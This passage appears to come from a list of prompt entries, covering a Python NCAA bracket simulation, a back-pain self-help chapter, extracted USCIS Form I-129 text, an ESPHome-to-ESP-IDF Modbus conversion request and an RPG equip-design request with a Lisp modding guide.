args=(average\\_difference,))\n x = result.x\n print("Best k:", x)\n return x\nif \\_\\_name\\_\\_ == "\\_\\_main\\_\\_":\n parser = argparse.ArgumentParser(\n description="NCAA Tournament Simulation"\n )\n parser.add\\_argument(\n \'-f\', \'--file\',\n default=\'2023ncaab.csv\',\n help="Path to the data file (default: \'2023ncaab.csv\')"\n )\n parser.add\\_argument(\n \'-n\', \'--num-simulations\',\n type=int,\n default=20000,\n help="Number of simulations to run (default: 100000)"\n )\n parser.add\\_argument(\n \'-z\', \'--noise\',\n type=int,\n default=0.5\n )\n args = parser.parse\\_args()\n teams\\_ = Team.extract\\_teams(args.file)\n tournament = Tournament(teams\\_, args.num\\_simulations, args.noise)\n tournament.run()\n\nmake a new function select winner simple that does not take in any counter objects. It just takes in two teams and selects a winner using the win probability and the historical uspet rates' -'CHAPTER EIGHTEEN\n Special Conditions\n From Jeremy\nI find this material fascinating but you don’t have to read it unless you have one of the headlined conditions. This is an effort to give some help to people with serious conditions who are likely to need medical help, or at least some level of medical supervision as well as “book help.” \nThere are some more extreme or special conditions causing back pain for which you are going to want to receive individual guidance from a physician but for which you may also get substantial help from the book. Here and elsewhere, you may ask: If I have to go to a therapist for this anyway, why not leave it all to him or her? The answer is twofold. First, the concepts and exercises in the book will give you a great foundation on which to build the more specific treatments suggested by your caregiver. But, second, in my experience, too many therapists treating these conditions jump right into the specific exercises and stretches for these conditions without building an adequate foundation of spine health and strength. That’s what this book does. \nSo . . . get started with this book and then seek out specific treatment. But be alert: Some of these exercises can exacerbate pain for some sufferers. If that happens to you, stop. Sorry that this is so complicated. You are almost always going to get substantial help from the general advice you have already read but—for these special conditions—you will also benefit from the specific advice in this chapter. See your doctor and strike your own balance between medical help and the advice we offer here. It is a two-sided approach and—often with these special conditions—both can help. Typically, the medical help alone—great relief though it may be—is not going to provide a complete, permanent solution. \nDisc Herniations\nThis means a burst disc and it is very serious business, as you already know. You should start by seeing a medical doctor. If a doctor has told you that you should try conservative (that is, nonintrusive) care for a herniated disc but you are in too much pain to start this book, you may benefit from a steroid injection to calm the pain down. I am slow to recommend that step, but this may be one of the situations where it makes sense. Sometimes an injection can bring the pain and inflammation down to a tolerable level so that rehab exercises can be undertaken. You should be warned that steroid injections can slow the healing process of a herniated disc. Talk with your doctor about the risks and benefits of a steroid injection.\nIf you are having pain down your leg from a herniated disc, something called nerve flossing can sometimes help. It may sound like a joke, but it is not. Nerve flossing is a technique that attempts to traction or “scrub” the nerve roots as they exit the spinal cord near the herniated disc to remove material that sometimes builds up on them. If there is “stuff” stuck to the nerve roots or nerves (it is likely to be either pieces of disc material or scar tissue), that “stuff” can cause or exacerbate pain, and removing it can help a lot. Nerve flossing can sometimes do precisely that and provide significant relief. Caution: This technique can sometimes cause an increase in pain initially, before it reduces it. Sometimes it doesn’t work. But it works enough to be worth the shot. There are countless YouTube videos out there on this subject. My favorite approach is Dr. Stuart McGill’s. He has various videos and describes his approach in detail in his books. \nHypermobile Sacroiliac (SI) Joint Pain\nThis pain can be one of the most difficult and stubborn conditions to treat, in my experience. The sacroiliac, or “SI,” joint is the joint in your pelvis where the sides of your pelvis connect with your sacrum. \nThe SI joint is not supposed to move very much in a healthy individual. It is crossed by large ligaments and muscles that keep it taut. SI joints that move too much can cause recurring episodes of severe pain. This commonly starts with a sprain of these ligaments from a hard fall to the buttocks or from giving birth. Once the ligaments are deformed, the SI joint can become unstable. Learning to engage the core and gluteal muscles at the appropriate times can help people with chronic SI pain. \nA medical intervention is sometimes needed. One approach is prolotherapy, an injection therapy whose goal is to tighten up loose ligaments and stabilize joints. An irritant is injected around the SI joint to cause scarring and stiffening of the ligaments that cross the joint, resulting in a more stable joint. In my experience, this works slightly more than 50 percent of the time. Try this book first and see how much relief you get. You will likely get significant relief. If not, consult several prolotherapy practitioners before deciding to try it. \nBefore considering prolotherapy, try these exercises in addition to the ones you’ve already learned.\nIsometric Adduction \nThe goal here is to strengthen the muscles on the insides of your legs without moving the unstable SI joint. You will need a medicine ball, thick pillow, or something similar for this exercise.\n\nStep 1: Lie on your back with your knees bent. Put the medicine ball between your knees. \nStep 2: Find your neutral spine and brace your core.\nStep 3: Squeeze the ball between the knees with 50 percent strength, being careful not to lose your core brace. Hold for ten seconds.\nStep 4: Repeat ten reps. Do two to three sets. \nIsometric Abduction\nAs with the previous exercise, the goal is to avoid moving the unstable SI joint. The difference here is that you are working on the muscles on the outside of your hips. You will need tubing or an elastic band for this exercise.\nStep 1: Lie on your back with your knees bent. \nStep 2: Find neutral spine and brace your core.\n\nStep 3: Wrap the band or tube around your thighs and below the knees.\n\nStep 4: Engage your glutes and move your knees outward about 45 degrees.\nStep 5: Hold ten seconds.\nStep 6: Do ten reps, two to three sets.\n“Bicycles” on Your Side\nThis exercise is very challenging to do properly. One of the goals is to keep your leg in the same “horizontal plane” throughout. By this I mean not to let your leg wander up or down if you were viewing it from the side. Rather, keep it steady with the knee and foot in the same position relative to each other throughout the movement.\nStep 1: Lie on your side with your top arm on the floor in front of you for support.\nStep 2: Brace your core.\n\nStep 3: With the movement of bicycle pedaling in mind, raise your top knee up toward your torso and then push the foot out in front of you. Then bring it back behind you to make a big circle at the hip, as if you were pedaling a bicycle on your side. As you bring the leg behind you, focus on engaging the glutes and opening up the front of the hip.\n\nStep 4: Go only as far as you can without moving your back. \nStep 5: Do ten reps. \nStep 6: Then, go the opposite direction. \nStep 7: Push your heel back behind you, engaging the glutes and stretching out your hip flexors as your foot goes behind you. \nStep 8: While moving the leg, do not let it wander up or down. In other words, stay in the same horizontal plane the entire time. \nBulging Disc\nMost bulging discs will heal on their own if pressures are taken off and the bulging disc is given the chance to recover. The most important thing with a bulging disc is to stop irritating it. You will need to limit activities that put the most pressure on the disc. This means doing much less of any activity that involves a seated position (driving, flying, etc.) as well as picking things up with a rounded back and twisting with the low back (golf, tennis, etc.). There are ways to continue to play these sports without twisting or bending the low back. Remember the concept of creep when you are required to sit. Break it up into twenty- to thirty-minute increments if you are required to sit all day. Avoiding creep is even more urgent when you have a bulging disc.\nFor some people, “press-ups” can help with bulging disc pain. These were initially recommended by Dr. Joseph McKenzie in his McKenzie protocol. His idea was that this exercise helps to shift the disc back into its natural position. \nPress-Ups\nI have seen some people, but certainly not all people, benefit from this. But it is worth a try.\nStep 1: Lie facedown on the floor with your elbows bent and your arms flat on the floor on either side of you, palms down.\nStep 2: Lightly brace your core. \n\nStep 3: Here’s the hard part: You are going to attempt to press your upper body up off the floor without using the muscles in your low back. Your arms should be doing all of the work and your low back should be relaxed. If you have a bulging disc and you start to lift your torso up with your back muscles, there’s a good chance they will go into spasm and make things quite a bit worse. \n\nStep 4: Very slowly and very carefully, start to push your upper body up off the floor. If your low back muscles kick in, stop and slowly \nlower yourself back to the floor to start again.\nStep 5: Continue up slowly. Go only as high as you can without your back muscles kicking in and without pain. Hold for ten seconds.\nStep 6: Slowly lower yourself back to the starting position using only your arms. Repeat five to ten reps. These can be done daily. \nStenosis\nSevere stenosis can be a serious problem and you may need medical help. But it is also true that often the things we have taught you so far will help quite a lot. Indeed, they may be an answer, so it is worth a try. We do not hold out the promise of an 80 percent success rate with severe stenosis, but the chances of success are substantial and well worth a try. Cases of mild to moderate stenosis typically respond very well to the approaches presented in this book.\nThe process will seem familiar now. Primarily, it is just a matter of finding (and maintaining) your neutral spine so that the irritation can die down. Once you feel comfortable with neutral spine, start to try walking again. For most people with stenosis, walking for moderate distances can be a problem. Make sure to keep your neutral spine and swing your arms from the shoulders as we talked about earlier. In addition, stop and take breaks and sit down before the pain starts. Eventually try to increase the distance you can go between sitting breaks. With increased fitness and endurance in the core muscles, these times between sitting will get longer and longer. Again, I caution that if you have very severe stenosis, you may be one of the relatively few who need surgery. This is especially true if you have leg symptoms and/or weakness. That said, I have seen countless patients whose MRIs showed moderate to severe stenosis (lateral or central) who were able to get back to a low level of pain and high level of function without surgery. So it is worth a shot. \nFor many with lateral or central stenosis, bicycling can be a great way to get exercise and relieve the back, because of the forward-bent posture when on a bike. Another solution is to do the following stretch to relieve the discomfort caused by stenosis. \nStenosis Relief Stretch\nThis stretch is the knee-to-chest stretch for relief from stenosis. It is pretty simple and often effective.\n\nStep 1: Lie on your back.\nStep 2: Lightly engage your core.\nStep 3: Slowly bring your knees up toward your chest and grab your knees with your hands, pulling your knees into the chest.\nStep 4: Hold and breathe for thirty seconds. \nStep 5: Repeat five to ten times. This can be done throughout the day.\nScoliosis\nIf you have scoliosis, it is important to see a good physical therapist to get exercises prescribed for your specific body. One size does not fit all on this one, so we cannot handle it definitively in this book. Your therapist should take into account the degree of curvature you have in your spine and the cause of your scoliosis and prescribe treatment accordingly. For instance, scoliosis caused by a leg length discrepancy will sometimes respond to orthotics. Severe scoliosis might require a brace. There are various exercises and stretches to apply depending on your body. I recommend getting personal help from a skilled therapist while also embarking on the protocol presented in this book. \nPregnancy \nBack pain during pregnancy is extremely common. This is because of a host of factors including weight gain, hormonal changes, stress, and lack of sleep. It is a great idea, if you can manage it, to practice all of the advice in this book before you get pregnant and during the early stages of pregnancy. I quite understand that you have a lot on your mind during this period (when I wrote this, Michelle and I were less than a month away from having our first child), but doing these exercises will be a substantial blessing during pregnancy and after. Add it to the list. \nHaving made that boast, I have to admit that you will likely struggle with back pain to some extent no matter what you do. But the back pain will be a lot less. One of the reasons you get back pain in pregnancy is wonderfully logical: It is the release of the hormone relaxin. It is released into your body to prepare for the birth by causing the ligaments in and around the pelvis to loosen, which is a great idea if you are about to deliver a baby, but it also leads to instability in the spine and pelvis, and causes pain. It’s a trade-off: It makes the actual delivery easier, but it causes some pain. The more stable and strong you are going into pregnancy, the better your chances of avoiding back pain. But there is this overriding bit of good advice: Regular exercise throughout pregnancy, including many of the exercises in this book (with light weight) can be done safely and will help a lot with back pain. Talk to your doctor about which exercises are safe for you and how much weight you can safely lift in each stage of pregnancy. You might want to bring this book to your doctor’s appointment for guidance on whether the basic exercises are safe for you. \nIs all this worth it, just for the relatively short term of a pregnancy? Yes. First, it is not a short term, not if you are in serious back pain. And pregnancy is tough enough without the added burden of back pain. So give the preceding advice some thought. At some point you may have flare-ups of back pain, no matter what you do. At that point, you may want to find a good chiropractor and/or acupuncturist to help you. But find a good one, one who has had lots of experience treating pregnant women. Follow my general advice about finding such professionals. Then ask specific questions about your particular needs and concerns of their office manager when looking to make an appointment. \nOkay, that’s it for these most demanding “special situations.” But I have seen this advice do a lot of good for those in these situations and felt compelled to include it. Again, it is “blended advice”: Use the book and see a medical or other specialized healer. And it may not give total relief, but there is a good chance that it will help a lot. And that’s what we’re here for.' -'Section 3. Numerical Limitation Information (continued)\n3. If you answered Item Number 1.d. "CAP Exempt," you must specify the reason(s) this petition is exempt from the numerical\nlimitation for H-1B classification:\nThe petitioner is an institution of higher education as defined in section 101(a) of the Higher Education Act, of 1965,\n20 U.S.C. 1001(a).\nThe petitioner is a nonprofit entity related to or affiliated with an institution of higher education as defined in 8 CFR\n214.2(h)(8)(ii)(F)(2).\nThe petitioner is a nonprofit research organization or a governmental research organization as defined in 8 CFR\n214.2(h)(8)(ii)(F)(3).\nThe beneficiary will be employed at a qualifying cap exempt institution, organization or entity pursuant to 8 CFR\n214.2(h)(8)(ii)(F)(4).\nThe beneficiary of this petition is a J-1 nonimmigrant physician who has received a waiver based on section 214(l)\nof the Act.\nThe petitioner is requesting an amendment to or extension of stay for the beneficiary\'s current H-1B classification.\nThe beneficiary of this petition has been counted against the cap and (1) is applying for the remaining portion of the\n6 year period of admission, or (2) is seeking an extension beyond the 6-year limitation based upon sections 104(c) or\n106(a) of the American Competitiveness in the Twenty-First Century Act (AC21).\nThe petitioner is an employer subject to the Guam-CNMI cap exemption pursuant to Public Law 110-229.\nSection 4. Off-Site Assignment of H-1B Beneficiaries\n1. The beneficiary of this petition will be assigned to work at an off-site location for all or part of the\nperiod for which H-1B classification sought.\n3. The beneficiary will be paid the higher of the prevailing or actual wage at any and all off-site locations.\n2. Placement of the beneficiary off-site during the period of employment will comply with the statutory\nand regulatory requirements of the H-1B nonimmigrant classification.\nYes No\nYes\nYes No\nNo\nIf no, do not complete Item Numbers 2. and 3.\na.\nb.\nc.\nd.\ne.\nf.\ng.\nh.\n Page 21 of 36\nForm I-129 Edition 11/02/22\nL Classification Supplement to Form I-129\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\nName of the Petitioner\nName of the Beneficiary\n1.\n2.\n3. This petition is (select only one box):\n4.a. Does the petitioner employ 50 or more individuals in the U.S.?\n4.b. If yes, are more than 50 percent of those employee in H-1B, L-1A, or L-1B nonimmigrant status?\n a. An individual petition b. A blanket petition\nNo\nYes No\nYes\nSection 1. Complete This Section If Filing For An Individual Petition\n1. Classification sought (select only one box):\n2. List the beneficiary\'s and any dependent family member\'s prior periods of stay in an H or L classification in the United States\nfor the last seven years. Be sure to list only those periods in which the beneficiary and/or family members were physically\npresent in the U.S. in an H or L classification. Do not include periods in which the beneficiary was in a dependent status, for\nexample, H-4 or L-2 status. If more space is needed, go to Part 9. of Form I-129.\nSubject\'s Name Period of Stay (mm/dd/yyyy)\nFrom To\na. L-1A manager or executive b. L-1B specialized knowledge\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\n3. Name of Employer Abroad\n4. Address of Employer Abroad\nProvince Postal Code Country\nNOTE: Submit photocopies of Forms I-94, I-797, and/or other USCIS issued documents noting these periods of stay in the H\nor L classification. (If more space is needed, attach an additional sheet.)\n Page 22 of 36\nForm I-129 Edition 11/02/22\nSection 1. Complete This Section If Filing For An Individual Petition (continued)\n5. Dates of beneficiary\'s employment with this employer. Explain any interruptions in employment.\nDates of Employment (mm/dd/yyyy)\nFrom To Explanation of Interruptions\n6. Describe the beneficiary\'s duties abroad for the 3 years preceding the filing of the petition. (If the beneficiary is currently inside the\nUnited States, describe the beneficiary\'s duties abroad for the 3 years preceding the beneficiary\'s admission to the United States.)\n8. Summarize the beneficiary\'s education and work experience.\n7. Describe the beneficiary\'s proposed duties in the United States.\n9. How is the U.S. company related to the company abroad? (select only one box)\na. Parent b. Branch c. Subsidiary d. Affiliate e. Joint Venture\n Page 23 of 36\nForm I-129 Edition 11/02/22\n10. Describe the percentage of stock ownership and managerial control of each company that has a qualifying relationship. Provide\nthe Federal Employer Identification Number for each U.S. company that has a qualifying relationship.\nPercentage of company stock ownership and managerial control of\neach company that has a qualifying relationship.\nFederal Employer Identification Number for each\nU.S. company that has a qualifying relationship\nSection 1. Complete This Section If Filing For An Individual Petition (continued)\n11. Do the companies currently have the same qualifying relationship as they did during the one-year period of the alien\'s\nemployment with the company abroad?\n12. Is the beneficiary coming to the United States to open a new office?\nIf you are seeking L-1B specialized knowledge status for an individual, answer the following question:\nWill the beneficiary be stationed primarily offsite (at the worksite of an employer other than the petitioner or its affiliate,\nsubsidiary, or parent)?\nIf you answered yes to the preceding question, describe how and by whom the beneficiary\'s work will be controlled and\nsupervised. Include a description of the amount of time each supervisor is expected to control and supervise the work. If you\nneed additional space to respond to this question, proceed to Part 9. of the Form I-129, and type or print your explanation.\n13.c. If you answered yes to the preceding question, describe the reasons why placement at another worksite outside the petitioner,\nsubsidiary, affiliate, or parent is needed. Include a description of how the beneficiary\'s duties at another worksite relate to the\nneed for the specialized knowledge he or she possesses. If you need additional space to respond to this question, proceed to\nPart 9. of the Form I-129, and type or print your explanation.\n13.b.\nYes No. If no, provide an explanation in Part 9. of Form I-129 that the U.S. company has and will have a qualifying\nrelationship with another foreign entity during the full period of the requested period of stay.\nYes\nYes No\nNo (attach explanation)\n13.a.\n Page 24 of 36\nForm I-129 Edition 11/02/22\nSection 2. Complete This Section If Filing A Blanket Petition\nList all U.S. and foreign parent, branches, subsidiaries, and affiliates included in this petition. (Attach separate sheets of paper if\nadditional space is needed.)\nName and Address Relationship\nSection 3. Additional Fees\nNOTE: A petitioner that seeks initial approval of L nonimmigrant status for a beneficiary, or seeks approval to employ an L\nnonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and Detection fee. For\npetitions filed on or after December 18, 2015, you must submit an additional fee of $4,500 if you responded yes to both questions in\nItem Numbers 4.a. and 4.b. on the first page of this L Classification Supplement. This $4,500 fee is mandated by the provisions of\nPublic Law 114-113.\nThese fees, when applicable, may not be waived. You must include payment of the fees with your submission of this form. Failure\nto submit the fees when required will result in rejection or denial of your submission. Each of these fees should be paid by separate\nchecks or money orders.\n Page 25 of 36' -'Rewrite this YAML config to C++ code in an Espressif IDF function that reads registers. \ntext\\_sensor:\n # Range 30000 - 30035\n - name: "Huawei inverter model"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 30000\n register\\_count: 15\n response\\_size: 30\n skip\\_updates: 100\n - name: "Huawei inverter SN"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 30015\n register\\_count: 10\n response\\_size: 20\n skip\\_updates: 100\n - name: "Huawei inverter PN"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 30025\n register\\_count: 10\n response\\_size: 20\n skip\\_updates: 100\n\n # Inverter status string\n - name: "Huawei inverter status"\n platform: template\n id: inverter\\_status\\_string\n icon: "mdi:information"\nbinary\\_sensor:\n # Range 32000 - 32019 (1/2)\n # Register 32000\n - name: "Huawei inverter state standby"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x001\n - name: "Huawei inverter state grid-connected"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x002\n - name: "Huawei inverter state grid-connected normally"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x004\n - name: "Huawei inverter state grid connection with derating due to power rationing"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x008\n - name: "Huawei inverter state grid connection with derating due to internal causes of the solar inverter"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x010\n - name: "Huawei inverter state normal stop"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x020\n - name: "Huawei inverter state stop due to faults"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x040\n - name: "Huawei inverter state stop due to power rationing"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x080\n - name: "Huawei inverter state shutdown"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x100\n - name: "Huawei inverter state spot check"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x200\n # Register 32002\n - name: "Huawei inverter state unlocked"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32002\n bitmask: 0x1\n - name: "Huawei inverter state PV connected"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32002\n bitmask: 0x2\n - name: "Huawei inverter state DSP data collection"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32002\n bitmask: 0x4\n # Register 32003\n - name: "Huawei inverter state off-grid"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32003\n bitmask: 0x1\n - name: "Huawei inverter state off-grid switch enable"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32003\n bitmask: 0x2\n # Register 32008\n - name: "Huawei inverter alarm High String Input Voltage"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0001\n - name: "Huawei inverter alarm DC Arc Fault"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0002\n - name: "Huawei inverter alarm String Reverse Connection"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0004\n - name: "Huawei inverter alarm String Current Backfeed"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0008\n - name: "Huawei inverter alarm Abnormal String Power"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0010\n - name: "Huawei inverter alarm AFCI Self-Check Fail"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0020\n - name: "Huawei inverter alarm Phase Wire Short-Circuited to PE"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0040\n - name: "Huawei inverter alarm Grid Loss"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0080\n - name: "Huawei inverter alarm Grid Undervoltage"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0100\n - name: "Huawei inverter alarm Grid Overvoltage"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0200\n - name: "Huawei inverter alarm Grid Volt. Imbalance"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0400\n - name: "Huawei inverter alarm Grid Overfrequency"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0800\n - name: "Huawei inverter alarm Grid Underfrequency"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x1000\n - name: "Huawei inverter alarm Unstable Grid Frequency"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x2000\n - name: "Huawei inverter alarm Output Overcurrent"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x4000\n - name: "Huawei inverter alarm Output DC Component Overhigh"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x8000' -'I would like to brainstorm 10 equps that deal damage in interesting ways. We can use chance a lot. For example:\n\nDeal 10 damage\nDeal 1 damage 5 times\nDeal 5 damage, 50% chance of dealing another 5 damage until miss\nDeal 100 damage, gain 10 corruption\nDeal 30 damage, If this attack deals more than 50 damage, add 5 rage\n\n# GAME SUMMARY:\nThe RPG game is a rogue like where the player advances through multiple encounters, some of which are battles, and collects equips.\nBy equipping these equips to their characters, their characters get new abilities in battle, which allows them to win more difficult battles and advance further.\n\n# BATTLE MECHANICS SUMMARY:\nEach battle has two teams, the player and the enemy ai.\nThe player team consists of 3 characters, called Dimensionals\nThe enemy team consists of 1 or more characters, called Enemies\n\nEach team takes turns, where they cast equips to modify the battle state.\nThe battle state is modified by apply effects to characters and equips.\nUsually effect modifies statuses, which persist between turns.\n\nThere are two types of equips, active and passive.\nActive equips will immediately apply effects when cast.\nPassive equips are not cast, but instead listen to triggers in the battle and apply effects or modify other effects.\nEach character has equips that have been equipped to them by the player before the battle starts\n\nThe player starts their turn with a set amount of mana.\nEach active equip costs mana.\nAs the player casts active equips, it will deplete their mana\nOnce the players mana is less than their lowest available equip mana cost, the turn ends.\n\nThe player can only cast each active equips once per turns\nUnless the equip has the refresh status, or is modified to refresh and become active again\n\nEach character has the status maxHP, and the status HP\nWhen a characters HP reaches zero, they die and can no longer cast active or passive equips equiped to them.\n\n# LISP MOD STRUCTURE:\nThere is a set of lisp files that have been bound to the core C# game engine\nThese lisp files also define macros that simplify the modding script\nThese lisp files define all battle mechanics summarized above\nAll lisp code required to fully modify the game is contained in a single lisp file\nBoiler plate macros and functions are contained in a core.l lisp file\n\n# LISP CODING GUIDE\n\n## Statuses\nStatus are ints that are modified by effects\nStatus are keyed by equip or character, so each character and equip will have their own set of status variables\n\nHere is an example of setting a status "\'hp" on a character:\n (hasStatus character \'hp)\n (statusGet character \'hp)\n (statusDecrement character \'hp amount)\n (statusIncrement character \'hp amount)\n (statusSet character \'hp amount)\n\nWe the wrap these functions in HP status functions for naming convineince as follows. This is not strictly necessary, but makes the code more readable:\n\n (defun isAlive (character)\n (hasStatus character \'hp))\n\n (defun isDead (character)\n (not (isAlive character)))\n\n (defun getHp (character)\n (statusGet character \'hp))\n\n (defun getHpMax (character)\n (statusGet character \'hpMax))\n\n (defun statusHpDecrement (character amount)\n (statusDecrement character \'hp amount))\n\n (defun statusHpIncrement (character amount)\n (statusIncrement character \'hp amount))\n\n (defun statusHpSet (character amount)\n (statusSet character \'hp amount))\n\nEvery status will have its own unique wrappers, depending on the functionality of the status.\n\n### Effects:\nEffects are objects that contain data and logic which are used to modify a status.\n\nFor example, the damage effect is used to modify the HP status of a character by subtracting the effectAmount damage.\n\nEffects are used by equips to modify battle state.\nActive equips will apply their effects when cast\nPassive equips will apply their effects on certain triggers\n\nEffects are defined in code like this:\n (defEffectExt damage (amount)\n (when (isAlive effectTarget)\n (statusHpDecrement effectTarget effectAmount)))\n\nEffects can be nested within other effects:\n (defEffectExt rageAbsorb ()\n (applyEffect (rage (getRage effectTarget)) effectEquip effectSource effectSource)\n (applyEffect (rageReset) effectEquip effectSource effectTarget))\n\nEffects can have conditional logic, based on statuses:\n (defEffectExt heatBlow (amount)\n (if (hasBlock effectTarget) (applyEffect (corruption amount) effectEquip effectSource effectTarget) (applyEffect (damage amount) effectEquip effectSource effectTarget)))\n\nEffects have various helper functions that can be used for custom logic:\n### Triggers:\nTriggers are event handlers that listen for specific events in the battle. They can contain any logic, but primarily are used to apply effects.\n\nTriggers are used frequently by passive equips and other game logic to react to a specific change in state.\n\nThere are three types of events triggers listen to. \'OnEvent\', \'BeforeEvent\' and \'AfterEvent\'.\n\nThere are two types of Triggers:\n - instant trigger: will be executed before queued effects are applied\n - delayed trigger: will be executed after all queued effects have been applied. Most triggers are delayed.\n\nTriggers defined for passive equips take two additional arguments, equip and owner.\n\nHere are the list of available triggers. These are trigged by either commands or effects: \\*Setup\\*,\\*Start\\*,\\*EquipStartEffectGroupApply\\*,\\*BattleStart\\*,\\*CheckEnd\\*,\\*End\\*,\\*BattleWin\\*,\\*BattleLose\\*,\\*RoundBegin\\*,\\*RoundEnd\\*,\\*TeamTurnBegin\\*,\\*TeamForecast\\*,\\*Forecast\\*,\\*TeamForecastReplay\\*,\\*ForecastReplay\\*,\\*ForecastCancel\\*,\\*TeamTurnEnd\\*,\\*TeamManaRestore\\*,\\*TeamManaSpend\\*,\\*TurnBegin\\*,\\*TurnEnd\\*,\\*CharacterCreate\\*,\\*CharacterDie\\*,\\*StatusSet\\*,\\*StatusDecrement\\*,\\*StatusIncrement\\*,\\*EquipStatusSet\\*,\\*EquipStatusDecrement\\*,\\*EquipStatusIncrement\\*,\\*EquipsSync\\*,\\*EquipCreate\\*,\\*EquipTrigger\\*,\\*EquipDestroy\\*,\\*Cast\\*,\\*EffectGroupApply\\*,\\*EffectApply\\*\n\n#### Trigger Examples\nHere is an example of a passive equip that uses an instant trigger to prevent poison damage:\n (defPassive Antibody-3 3 "icon:Card\\_PoisonBlade" "Antibody" "Character is unaffected by " anyType\n (setTriggers\n (defInstantTriggerExt \\*beforePoisonDamage\\* \'Antibody-3 (equip owner effect)\n (when (and (isEffectIncoming effect owner) (isAlive owner))\n (setEffectAmount effect 0)\n (applyEffect (poisonDamageImmune) equip owner owner)))))\n\nHere is an example of a passive that adds block after damage has been applied:\n (defPassive Trapper1-Block-1 1 nil "Block" "Adds 10 when damaged" anyType\n (setTriggers\n (defTriggerExt \\*afterDamage\\* \'Trapper1-Block-1 (equip owner effect)\n (when (isEffectIncoming effect owner)\n (applyEffect (block 10) equip owner owner)))))\n\nHere is an example of a Passive Equip being defined, which uses a trigger to add block to all allies on turn begin:\n (defPassive Hard-Shell-1 1 "icon:Card\\_DiversionCall" "Hard Shell" "Allies gain 5 at the start of the turn" anyType\n (setTriggers\n (defTriggerExt \\*onTurnBegin\\* \'Hard-Shell-1 (equip owner character)\n (when (and (eql owner character) (isAlive owner))\n (applyEffectOnAllies 